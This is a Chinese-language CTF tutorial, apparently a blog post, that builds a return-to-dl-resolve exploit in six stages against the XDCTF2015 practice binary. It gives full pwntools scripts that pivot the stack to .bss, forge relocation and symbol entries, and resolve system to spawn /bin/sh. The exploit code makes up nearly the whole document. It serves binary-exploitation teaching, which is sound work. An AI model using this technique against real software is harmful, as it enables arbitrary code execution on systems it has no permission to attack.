一步一步构建 dl-runtime-resolve

前言

• 一步一步构建 dl-runtime-resolve，详细理解其解析过程
• 参考 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
• 参考 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/
• elf 文件链接 https://github.com/hitcxy/pwn-challenges/tree/master/study

漏洞利用方式

• 控制 eip 为 PLT[0] 的地址，只需传递一个 index_arg 参数
• 控制 index_arg 的大小，使 reloc 的位置落在可控地址内
• 伪造 reloc 的内容，使 sym 落在可控地址内
• 伪造 sym 的内容，使 name 落在可控地址内
• 伪造 name 为任意库函数，如 system

stage1

• 先把栈迁移到 bss 上，并返回 write@plt

#coding=utf-8
#!/usr/bin/python

from pwn import *
elf = ELF('./main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage2

• 控制 eip 返回 PLT[0] ，要带上 write 的 index_offset

#coding=utf-8
#!/usr/bin/python

from pwn import *
elf = ELF('./main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20 # write's index

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage3

• 控制 index_offset ，使其指向我们构造的 fake_reloc

#coding=utf-8
#!/usr/bin/python

from pwn import *
elf = ELF('./main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x607 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage4

• 这次构造 fake_sym ，使其指向我们控制的 st_name

#coding=utf-8
#!/usr/bin/python

from pwn import *
elf = ELF('./main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10，得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage5

• 把 st_name 指向输入的字符串 "write"

#coding=utf-8
#!/usr/bin/python

from pwn import *
elf = ELF('./main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage6

• 替换 write 为 system ，并修改 system 的参数

#coding=utf-8
#!/usr/bin/python

from pwn import *
elf = ELF('./main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'B' * 4
payload2 += 'B' * 4
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()